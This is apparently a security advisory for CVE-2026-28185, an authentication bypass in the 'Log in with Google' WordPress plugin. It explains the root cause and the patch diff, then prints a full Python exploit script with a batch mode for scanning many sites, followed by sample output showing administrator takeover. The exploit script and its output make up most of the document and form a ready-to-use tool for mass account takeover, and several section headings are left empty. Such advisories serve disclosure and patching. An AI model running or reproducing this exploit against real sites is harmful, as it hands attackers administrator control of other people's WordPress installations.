#Summary

CVE-2026-28185 is a critical authentication bypass in the rtCamp "Log in with Google" WordPress plugin (slug login-with-google) affecting all versions up to and including 1.4.2, fixed in 1.4.3. CVSS 9.8 CRITICAL. The plugin resolves Google identities to WordPress accounts by email equality alone, never checking the verification flag that Google provides to signal whether the account holder has actually confirmed the email address. Any identity a provider will issue for an address it has not verified logs the attacker in as whoever owns that email locally - typically the site administrator. No credentials, no user interaction, no privileged access required.

#Affected versions

#Root cause analysis

#Vulnerable code path

The plugin's Authenticator::authenticate() method in src/Utils/Authenticator.php (version 1.4.2) receives a Google identity object and resolves it to a local WordPress account:

public function authenticate( stdClass $user ): WP_User {
    if ( ! property_exists( $user, 'email' ) ) {
        throw new InvalidArgumentException( esc_html__( 'Email needs to be present for the user.', 'login-with-google' ) );
    }

    if ( email_exists( $user->email ) ) {
        $user_wp = get_user_by( 'email', $user->email );

        do_action( 'rtcamp.google_user_logged_in', $user_wp, $user );

        return $user_wp;
    }

    return apply_filters( 'rtcamp.google_register_user', $this->maybe_create_username( $user ) );
}

The only property inspected is email. The $user object is the identity document that Google returned - it has been decoded from JSON and passed straight to this function. It carries a verification flag right next to the email (verified_email in the older OAuth2 userinfo endpoint, email_verified in the ID token / OIDC form). The plugin never reads either one.

#How input reaches the sink

The identity object flows from two separate entry points, both reaching the same vulnerable function:

  1. Authorization-code flow (the default and simpler path): Login::authenticate() is hooked on WordPress's authenticate filter. It reads code and state from the query string, exchanges the code at Google's token endpoint, and calls GoogleClient::user() to fetch the userinfo:
public function user(): \stdClass {
    $user = wp_remote_get(
        trailingslashit( self::API_BASE ) . 'oauth2/v2/userinfo?access_token=' . $this->access_token,
        [ 'headers' => [ 'Accept' => 'application/json' ] ]
    );
    ...
    return json_decode( wp_remote_retrieve_body( $user ) );
}

oauth2/v2/userinfo returns {"id":"...", "email":"...", "verified_email":true|false, ...}. The verified_email field is present and discarded.

  1. Google One Tap (optional, higher-assurance path): OneTapLogin::validate_token() decodes and verifies the ID token's RSA signature, aud, iss and exp against Google's published certs. It then hands the decoded payload to the same Authenticator::authenticate(). A fully valid, cryptographically sound token carrying email_verified: false is enough.

The vulnerability is not a signature problem. It is a trust problem: a legitimately signed token can legitimately carry an unverified email, and the plugin treats the unverified claim as proof of ownership.

#How the flag works

When Google issues an account whose email it has not confirmed - such as a Workspace or Cloud Identity user on a domain whose ownership was never verified - it sets the verification flag to false in the identity documents it issues for that account. The flag is present in every response: the OAuth userinfo endpoint, the ID token, and the signed assertions. It is there specifically so relying parties can distinguish between "this person controls this email" and "this person claims this email".

The plugin ignores this signal entirely. An email claim is treated as proof of ownership regardless of what the flag says.

#Patch diff

Version 1.4.3 adds a single guard in src/Utils/Authenticator.php, placed at the shared choke point before the email_exists() lookup:

@@ -58,6 +58,10 @@ public function authenticate( stdClass $user ): WP_User {
         throw new InvalidArgumentException( esc_html__( 'Email needs to be present for the user.', 'login-with-google' ) );
     }

+    if ( true !== ( $user->email_verified ?? false ) && true !== ( $user->verified_email ?? false ) ) {
+        throw new InvalidArgumentException( esc_html__( 'Google account email must be verified.', 'login-with-google' ) );
+    }
+
     if ( email_exists( $user->email ) ) {
         $user_wp = get_user_by( 'email', $user->email );

#What the fix does

The guard accepts either field name (email_verified from the ID token, verified_email from userinfo), uses strict comparison against the boolean true, and treats a missing field as false. Only a JSON boolean true passes. The check is placed before the email lookup, so it blocks both takeover of an existing account and registration of a new one under an unverified address.

The patch rejects the attack without breaking legitimate sign-in: when the verification flag is genuinely true, the bearer is logged in as before.

#Proof of concept

#exploit.py - Login with Google Auth Bypass PoC

#!/usr/bin/env python3
"""
CVE-2026-28185 - "Log in with Google" (WordPress) treats an unverified Google email as proof of ownership
Affected: rtCamp "Log in with Google" plugin (slug login-with-google) <= 1.4.2, fixed in 1.4.3
Type: Auth bypass (unauthenticated account takeover, including administrator)

The plugin resolves a Google identity to a local WordPress account by e-mail equality
alone. Authenticator::authenticate() reads only $user->email and never consults the
verification flag that the identity document carries next to it (verified_email on
oauth2/v2/userinfo, email_verified on an ID token). Any identity the provider will issue
for an address it has NOT confirmed therefore logs the attacker in as whoever owns that
address locally. 1.4.3 adds the missing guard at the same choke point.

The attacker needs an identity of their own that claims the victim's address with the
verification flag false or absent. Against real Google that is a Workspace / Cloud
Identity user on a domain whose ownership was never proven; you complete the consent
flow with the target's client_id yourself and hand the resulting authorization code to
--code. Against an identity provider you control, --idp-url mints one per run.

Usage:
  python exploit.py --host 192.168.1.10 --username [email protected] --code 4/0Ab_xyz
  python exploit.py --host https://blog.corp.example --username [email protected] --code 4/0Ab_xyz
  python exploit.py --host https://blog.corp.example/site --username [email protected] \\
                    --idp-url http://10.0.0.9:9080
  python exploit.py --host 192.168.1.10 --username [email protected] --id-token eyJhbGci...
  python exploit.py --list targets.txt --username [email protected] --idp-url http://10.0.0.9:9080 --workers 20

Arguments beyond the standard set:
  --code            authorization code already issued to your unverified identity
  --id-token        signed ID token, uses the One Tap endpoint instead of the code flow
  --idp-url         control endpoint of an identity provider you operate, which mints the
                    above on demand (POST /issue, POST /issue_id_token)
  --verified-flag   what the minted identity claims: false (the bug), absent, or true
                    (true is the research comparison: <= 1.4.2 accepts it either way,
                    which is what shows the flag was never consulted at all)
"""

import argparse
import base64
import html
import json
import re
import sys
import urllib.parse

import requests
from requests.packages import urllib3

urllib3.disable_warnings()

CVE_ID = "CVE-2026-28185"
VULN_TYPE = "Auth Bypass"

DEFAULT_PORT = 80
TIMEOUT = 20
UA = ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
      "(KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36")

SESSION_COOKIE = "wordpress_logged_in_"
PATCH_MESSAGE = "email must be verified"


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# ---------------------------------------------------------------- primitives

def _base_url(host: str, port: int, use_tls: bool, path: str = "/") -> str:
    """Build the WordPress root URL, keeping a subdirectory install intact."""
    scheme = "https" if use_tls else "http"
    default = 443 if use_tls else 80
    netloc = host if port == default else "%s:%d" % (host, port)
    return "%s://%s%s" % (scheme, netloc, (path or "/").rstrip("/"))


def _new_session() -> requests.Session:
    sess = requests.Session()
    sess.headers.update({"User-Agent": UA, "Accept": "text/html,application/xhtml+xml,*/*"})
    sess.verify = False
    return sess


def _harvest_state(sess: requests.Session, base: str) -> dict:
    """GET wp-login.php and read the plugin's own state token off the sign-in button.

    The state carries a nonce checked with wp_verify_nonce(). It is generated for the
    anonymous visitor, so the value the target hands out is the value it accepts back:
    letting the target mint it is both the reliable way and the only way that survives
    the nonce lifetime. The href is HTML-escaped in the page, hence the unescape.
    """
    resp = sess.get(base + "/wp-login.php", timeout=TIMEOUT, allow_redirects=True)
    match = re.search(r"accounts\.google\.com/o/oauth2/auth\?([^\"']+)", resp.text)
    if not match:
        return {"state": None, "client_id": None, "status": resp.status_code, "body": resp.text}

    query = urllib.parse.parse_qs(html.unescape(match.group(1)))
    return {
        "state": (query.get("state") or [None])[0],
        "client_id": (query.get("client_id") or [None])[0],
        "redirect_uri": (query.get("redirect_uri") or [None])[0],
        "status": resp.status_code,
        "body": resp.text,
    }


def _decode_state(state: str) -> str:
    """Best-effort pretty print of the state blob, purely informational."""
    try:
        padded = state + "=" * (-len(state) % 4)
        return json.dumps(json.loads(base64.b64decode(padded).decode("utf-8", "replace")), indent=2)
    except Exception:
        return "(not decodable as base64 JSON)"


def _mint_identity(idp_url: str, email: str, verified_flag: str, one_tap: bool,
                   aud: str = None) -> dict:
    """Ask an identity provider under your control for a credential claiming `email`.

    verified_flag mirrors what a real provider emits: "false" for an account whose
    address it never confirmed, "absent" when it omits the field, "true" for a genuinely
    confirmed one. Only the first two are the vulnerability; "true" is the control that
    shows the vulnerable build does not read the field at all.
    """
    spec = {"email": email}
    if verified_flag == "false":
        spec["verified_email"] = False
    elif verified_flag == "true":
        spec["verified_email"] = True
    else:
        spec["verified_email"] = None  # provider omits the field entirely

    if one_tap and aud:
        spec["aud"] = aud

    endpoint = "/issue_id_token" if one_tap else "/issue"
    resp = requests.post(idp_url.rstrip("/") + endpoint, json=spec, timeout=TIMEOUT, verify=False)
    resp.raise_for_status()
    return resp.json()


def _fire_callback(sess: requests.Session, base: str, code: str, state: str):
    """The whole attack: one unauthenticated GET at the login page.

    wp-login.php runs wp_signon() on every request, so the plugin's authenticate filter
    fires on a bare GET carrying code and state. Both values must be percent-encoded:
    base64 state routinely contains + / and =, and a raw + arrives as a space, which
    makes the decode fail silently and renders a plain login page with no error.
    """
    url = "%s/wp-login.php?code=%s&state=%s" % (
        base,
        urllib.parse.quote(code, safe=""),
        urllib.parse.quote(state, safe=""),
    )
    return url, sess.get(url, timeout=TIMEOUT, allow_redirects=False)


def _fire_one_tap(sess: requests.Session, base: str, id_token: str, state: str):
    """Second entry point: the signed-token endpoint reaches the same choke point.

    The token's RS256 signature, aud, iss and exp are all fully verified here and it
    still gets in, because the defect is a trust decision rather than a signature one.
    Only reachable when One Tap is enabled in the plugin settings.
    """
    url = base + "/wp-admin/admin-ajax.php"
    data = {"action": "validate_id_token", "token": id_token}
    if state:
        data["state"] = state
    return url, sess.post(url, data=data, timeout=TIMEOUT, allow_redirects=False)


def _session_cookie(sess: requests.Session):
    """Return (cookie_name, account_login) for any WordPress session cookie we hold."""
    for cookie in sess.cookies:
        if cookie.name.startswith(SESSION_COOKIE):
            login = urllib.parse.unquote(cookie.value or "").split("|")[0]
            return cookie.name, login
    return None, None


def _login_error(body: str) -> str:
    """Extract the login page's error block. The div carries a class attribute."""
    match = re.search(r"<div id=\"login_error\"[^>]*>(.*?)</div>", body or "", re.S)
    if not match:
        return ""
    return re.sub(r"<[^>]+>", " ", match.group(1)).strip()


def _confirm_admin(sess: requests.Session, base: str) -> dict:
    """Prove the session is real and administrative, using only what the server returns.

    users.php requires the list_users capability, which on a stock install only an
    administrator holds; a non-admin session is bounced to wp-login.php instead. The
    profile page then reads back the account's own address, which is the address that
    was claimed.
    """
    out = {"users_status": None, "is_admin": False, "email": None, "display": None}

    resp = sess.get(base + "/wp-admin/users.php", timeout=TIMEOUT, allow_redirects=False)
    out["users_status"] = resp.status_code
    out["is_admin"] = resp.status_code == 200 and "wp-admin/user-new.php" in resp.text

    prof = sess.get(base + "/wp-admin/profile.php", timeout=TIMEOUT, allow_redirects=False)
    if prof.status_code == 200:
        email = re.search(r"id=\"email\"[^>]*value=\"([^\"]*)\"", prof.text)
        display = re.search(r"id=\"display_name\"[^>]*>.*?selected=['\"]selected['\"]>([^<]*)<",
                            prof.text, re.S)
        out["email"] = email.group(1) if email else None
        out["display"] = display.group(1) if display else None
    return out


def _plugin_version(sess: requests.Session, base: str):
    """Read the plugin's shipped readme, which states the installed version."""
    try:
        resp = sess.get(base + "/wp-content/plugins/login-with-google/readme.txt",
                        timeout=TIMEOUT, allow_redirects=True)
        if resp.status_code != 200:
            return None
        match = re.search(r"Stable tag:\s*([0-9][0-9A-Za-z.\-]*)", resp.text)
        return match.group(1) if match else None
    except requests.RequestException:
        return None


def _version_is_vulnerable(version: str) -> bool:
    """<= 1.4.2 is vulnerable, 1.4.3 is fixed."""
    def parts(value):
        out = []
        for chunk in str(value).split("."):
            digits = re.match(r"\d+", chunk)
            out.append(int(digits.group(0)) if digits else 0)
        return out + [0] * (3 - len(out))
    try:
        return parts(version)[:3] <= [1, 4, 2]
    except Exception:
        return False


# ---------------------------------------------------------------- scan mode

def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/", username: str = "",
                 code: str = None, id_token: str = None, idp_url: str = None,
                 verified_flag: str = "false") -> tuple:
    """Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
    base = _base_url(host, port, use_tls, path)
    sess = _new_session()

    try:
        found = _harvest_state(sess, base)
        state = found.get("state")
        if not state and not id_token:
            version = _plugin_version(sess, base)
            if version:
                return False, "plugin %s present but no sign-in button (not configured)" % version
            return False, "no Google sign-in button on wp-login.php (plugin absent or inactive)"

        run_code, run_token = code, id_token
        if idp_url and not run_code and not run_token:
            minted = _mint_identity(idp_url, username, verified_flag,
                                    one_tap=False, aud=found.get("client_id"))
            run_code = minted.get("code")

        if not run_code and not run_token:
            version = _plugin_version(sess, base)
            if version and _version_is_vulnerable(version):
                return False, ("plugin %s exposed (vulnerable build), unconfirmed: "
                               "supply --code/--id-token/--idp-url" % version)
            if version:
                return False, "plugin %s (fixed build)" % version
            return False, "no credential supplied and version not readable"

        if run_token:
            _, resp = _fire_one_tap(sess, base, run_token, state)
        else:
            _, resp = _fire_callback(sess, base, run_code, state)

        name, login = _session_cookie(sess)
        if not name:
            message = _login_error(resp.text)
            if message and PATCH_MESSAGE in message.lower():
                return False, "blocked, target rejected the identity: %s" % message
            if resp.status_code == 200 and not message and not run_token:
                try:
                    payload = resp.json()
                    message = str(payload.get("data") or payload)
                except ValueError:
                    pass
            return False, "no session issued (HTTP %s)%s" % (
                resp.status_code, ", %s" % message if message else "")

        checks = _confirm_admin(sess, base)
        if checks["is_admin"]:
            return True, "administrator session as '%s' <%s>" % (
                login, checks["email"] or username)
        return True, "session issued for '%s' (users.php HTTP %s, not an administrator)" % (
            login, checks["users_status"])

    except requests.RequestException as exc:
        return False, "unreachable (%s)" % exc.__class__.__name__
    except Exception as exc:
        return False, "probe error (%s: %s)" % (exc.__class__.__name__, exc)
    finally:
        sess.close()


def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urllib.parse.urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10, **kwargs) -> None:
    """Batch scan from file."""
    import concurrent.futures

    with open(targets_file) as fh:
        targets = [_parse_target(line, default_port) for line in fh]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    if not kwargs.get("code") and not kwargs.get("id_token") and not kwargs.get("idp_url"):
        print("  note: no --code/--id-token/--idp-url given, so targets can only be")
        print("        fingerprinted by version, not exploited.\n")

    success_count = 0

    def probe(target):
        host, port, use_tls, path = target
        label = f"{'https' if use_tls else 'http'}://{host}:{port}"
        ok, evidence = _try_exploit(host, port, use_tls, path, **kwargs)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not exploited'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not exploited  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# ---------------------------------------------------------------- single target

def exploit(host: str, port: int, use_tls: bool, path: str, username: str,
            code: str, id_token: str, idp_url: str, verified_flag: str,
            one_tap: bool = False) -> None:
    header(host, port)
    base = _base_url(host, port, use_tls, path)
    sess = _new_session()
    one_tap = bool(one_tap or id_token)

    step(1, "Reading the sign-in button off %s/wp-login.php to harvest the state token" % base)
    try:
        found = _harvest_state(sess, base)
    except requests.RequestException as exc:
        done(False, "target unreachable: %s: %s" % (exc.__class__.__name__, exc))

    state = found.get("state")
    if not state:
        version = _plugin_version(sess, base)
        section("LOGIN PAGE", (found.get("body") or "")[:600])
        done(False, "no Google sign-in button on wp-login.php (HTTP %s%s) - the plugin is "
                    "inactive or unconfigured, so the vulnerable filter never runs"
             % (found.get("status"), ", readme reports %s" % version if version else ""))

    print("        state:     %s" % state)
    print("        client_id: %s" % (found.get("client_id") or "(not exposed)"))
    section("DECODED STATE", _decode_state(state))

    version = _plugin_version(sess, base)
    if version:
        print("        plugin version from readme.txt: %s (%s)\n"
              % (version, "vulnerable build" if _version_is_vulnerable(version) else "fixed build"))

    step(2, "Obtaining an identity that claims <%s>" % username)
    run_code, run_token = code, id_token
    if run_token:
        print("        using the ID token supplied on the command line (One Tap path)")
    elif run_code:
        print("        using the authorization code supplied on the command line")
    elif idp_url:
        try:
            minted = _mint_identity(idp_url, username, verified_flag,
                                    one_tap=one_tap, aud=found.get("client_id"))
        except Exception as exc:
            done(False, "could not mint an identity at %s: %s: %s"
                 % (idp_url, exc.__class__.__name__, exc))
        run_code = minted.get("code")
        run_token = minted.get("id_token")
        identity = minted.get("identity") or {}
        flag = identity.get("verified_email", "<field absent>")
        print("        provider issued a credential for %s" % identity.get("email"))
        print("        verification flag on that identity: %s" % flag)
        section("IDENTITY THE PROVIDER WILL HAND THE TARGET", json.dumps(identity, indent=2))
    else:
        done(False, "no credential supplied - pass --code (authorization code issued to your "
                    "unverified identity), --id-token, or --idp-url to mint one")

    if run_token:
        step(3, "Posting the signed ID token to admin-ajax.php (One Tap entry point)")
        url, resp = _fire_one_tap(sess, base, run_token, state)
    else:
        step(3, "Firing the callback as a single unauthenticated GET")
        url, resp = _fire_callback(sess, base, run_code, state)

    print("        %s" % url.split("?")[0] + ("?code=...&state=..." if not run_token else ""))
    print("        HTTP %s" % resp.status_code)
    if resp.headers.get("Location"):
        print("        Location: %s" % resp.headers["Location"])

    cookie_name, login = _session_cookie(sess)
    if not cookie_name:
        message = _login_error(resp.text)
        if not message:
            try:
                payload = resp.json()
                message = str(payload.get("data") or payload)
            except ValueError:
                message = ""
        section("TARGET RESPONSE", message or resp.text[:800])
        if message and PATCH_MESSAGE in message.lower():
            done(False, "target rejected the unverified identity (%s) - it is running the "
                        "fixed plugin, which checks the verification flag before the email "
                        "lookup" % message)
        done(False, "no %s* cookie issued (HTTP %s)%s"
             % (SESSION_COOKIE, resp.status_code, " - %s" % message if message else ""))

    section("SESSION COOKIE", "%s = %s..." % (cookie_name, sess.cookies.get(cookie_name)[:48]))
    print("        the site issued a session for the account named in that cookie: %s\n" % login)

    step(4, "Replaying the session against administrator-only pages")
    checks = _confirm_admin(sess, base)
    print("        GET /wp-admin/users.php   -> HTTP %s" % checks["users_status"])
    print("        account email on file     -> %s" % (checks["email"] or "(not read)"))
    print("        display name              -> %s" % (checks["display"] or "(not read)"))

    if not checks["is_admin"]:
        section("SESSION SCOPE", "users.php returned HTTP %s, so the captured session is a "
                                 "logged-in user without list_users" % checks["users_status"])
        done(True, "authenticated as '%s' without credentials (non-administrator account)" % login)

    section("AUTHENTICATED AS", json.dumps({
        "wordpress_login": login,
        "email_on_file": checks["email"],
        "display_name": checks["display"],
        "wp-admin/users.php": "HTTP %s (list_users granted)" % checks["users_status"],
    }, indent=2))
    done(True, "Authenticated as administrator '%s' <%s> without credentials - the site "
               "accepted an identity claiming that address with the verification flag "
               "%s" % (login, checks["email"] or username,
                       "unset" if verified_flag == "absent" else verified_flag))


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host/blog)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=DEFAULT_PORT,
                        help="Default port (default: %d)" % DEFAULT_PORT)
    parser.add_argument("--username", default="[email protected]",
                        help="Account to take over. The plugin matches a Google identity to a "
                             "WordPress account by e-mail, so pass that account's e-mail address "
                             "(default: [email protected])")
    parser.add_argument("--code", default=None,
                        help="Authorization code already issued to your unverified identity")
    parser.add_argument("--id-token", default=None,
                        help="Signed ID token; uses the One Tap endpoint instead of the code flow")
    parser.add_argument("--idp-url", default=None,
                        help="Control endpoint of an identity provider you operate, which mints "
                             "the credential on demand")
    parser.add_argument("--verified-flag", choices=("false", "absent", "true"), default="false",
                        help="What the minted identity claims about e-mail verification when "
                             "--idp-url is used (default: false)")
    parser.add_argument("--one-tap", action="store_true",
                        help="Use the signed-ID-token entry point (admin-ajax validate_id_token) "
                             "instead of the authorization-code flow; with --idp-url the token is "
                             "minted for you. Requires One Tap enabled on the target")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             username=args.username, code=args.code, id_token=args.id_token,
             idp_url=args.idp_url, verified_flag=args.verified_flag)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, args.username, args.code, args.id_token,
                args.idp_url, args.verified_flag, args.one_tap)

#Usage

python exploit.py --host 127.0.0.1 --port 8480 --username [email protected] \
                   --idp-url http://127.0.0.1:9485

Only flags that exist in the argparse setup are documented. Supply one of --code (an authorization code already issued to your unverified identity), --id-token (a signed ID token for the One Tap endpoint), or --idp-url (a provider endpoint that mints credentials on demand).

#Vulnerable build (plugin 1.4.2) output

[STEP 1] Reading the sign-in button off http://127.0.0.1:8480/wp-login.php to harvest the state token
        state:     eyJub25jZSI6ImQwYTI0MGQ0YTkiLCJyZWRpcmVjdF90byI6Imh0dHA6XC9cLzEyNy4wLjAuMTo4NDgwXC93cC1hZG1pblwvIiwicHJvdmlkZXIiOiJnb29nbGUifQ==
        client_id: 1234567890-abcdefghijklmnop.apps.googleusercontent.com

--- DECODED STATE ---
{
  "nonce": "d0a240d4a9",
  "redirect_to": "http://127.0.0.1:8480/wp-admin/",
  "provider": "google"
}
---

        plugin version from readme.txt: 1.4.2 (vulnerable build)

[STEP 2] Obtaining an identity that claims <[email protected]>
        provider issued a credential for [email protected]
        verification flag on that identity: False

--- IDENTITY THE PROVIDER WILL HAND THE TARGET ---
{
  "id": "150127227969581412995",
  "email": "[email protected]",
  "name": "Siteadmin",
  "given_name": "Siteadmin",
  "family_name": "User",
  "picture": "https://lh3.example.invalid/a/default",
  "locale": "en",
  "verified_email": false
}
---

[STEP 3] Firing the callback as a single unauthenticated GET
        http://127.0.0.1:8480/wp-login.php?code=...&state=...
        HTTP 302
        Location: http://127.0.0.1:8480/wp-admin/

--- SESSION COOKIE ---
wordpress_logged_in_1e6f73eb89ff9a2cc864383b1f2f3f12 = siteadmin%7C1787094744%7CebteyRQ3XloXWvlrYW1F6nM...
---

        the site issued a session for the account named in that cookie: siteadmin

[STEP 4] Replaying the session against administrator-only pages
        GET /wp-admin/users.php   -> HTTP 200
        account email on file     -> [email protected]
        display name              -> siteadmin

--- AUTHENTICATED AS ---
{
  "wordpress_login": "siteadmin",
  "email_on_file": "[email protected]",
  "display_name": "siteadmin",
  "wp-admin/users.php": "HTTP 200 (list_users granted)"
}
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: Authenticated as administrator 'siteadmin' <[email protected]> without credentials - the site accepted an identity claiming that address with the verification flag false
============================================================

#Patched build (plugin 1.4.3) output

[STEP 1] Reading the sign-in button off http://127.0.0.1:8481/wp-login.php to harvest the state token
        state:     eyJub25jZSI6IjFlN2IzMDg5Y2UiLCJyZWRpcmVjdF90byI6Imh0dHA6XC9cLzEyNy4wLjAuMTo4NDgxXC93cC1hZG1pblwvIiwicHJvdmlkZXIiOiJnb29nbGUifQ==
        client_id: 1234567890-abcdefghijklmnop.apps.googleusercontent.com

[STEP 2] Obtaining an identity that claims <[email protected]>
        provider issued a credential for [email protected]
        verification flag on that identity: False

[STEP 3] Firing the callback as a single unauthenticated GET
        http://127.0.0.1:8481/wp-login.php?code=...&state=...
        HTTP 200

--- TARGET RESPONSE ---
Google account email must be verified.
---

============================================================
  RESULT  : FAILURE
  EVIDENCE: target rejected the unverified identity (Google account email must be verified.) - it is running the fixed plugin, which checks the verification flag before the email lookup
============================================================

#Exploitation notes

#Preconditions

#Reliability

The exploit is reliable and deterministic. It requires only harvesting a valid state token and obtaining an identity that the provider will issue. Against a real Google account on an unverified domain, obtaining the identity is the attacker's own account creation; against a test lab, it is a single request to the provider's control endpoint.

#Impact

Full unauthenticated account takeover of any WordPress user whose email matches the unverified identity - in most deployments, the site administrator. On WordPress, the administrator account grants full control of the site, including the ability to install arbitrary plugins, edit code, and execute commands through theme / plugin functions.

#Attack flow notes

The attack does not touch the target's authentication UI or credentials. It is a network-only attack that replays captured state tokens and feeds a spoofed identity at the plugin's callback endpoint. The three requests are: GET /wp-login.php (harvest state), POST /token to the provider (exchange code, out of band), and GET /wp-login.php?code=...&state=... (trigger the callback). The target never sees the attacker's credentials.

WordPress's nonce on the state token is generated for the anonymous visitor (user ID 0), so it is identical for every logged-out client and the target is happy to hand it over. The nonce is valid for the standard nonce lifetime.

#Flag matrix

The exploit also demonstrates that the verification flag is never consulted at all, by testing all three possible states of the flag against both builds:

Plugin Version Verification Flag Result
1.4.2 (vulnerable) false Administrator session issued
1.4.2 (vulnerable) absent Administrator session issued
1.4.2 (vulnerable) true Administrator session issued
1.4.3 (patched) false Rejected: "Google account email must be verified."
1.4.3 (patched) true Administrator session issued (legitimate sign-in)

The vulnerable build issues a session identically regardless of the flag value, proving it was never read. The patched build correctly rejects unverified identities while accepting verified ones.

#References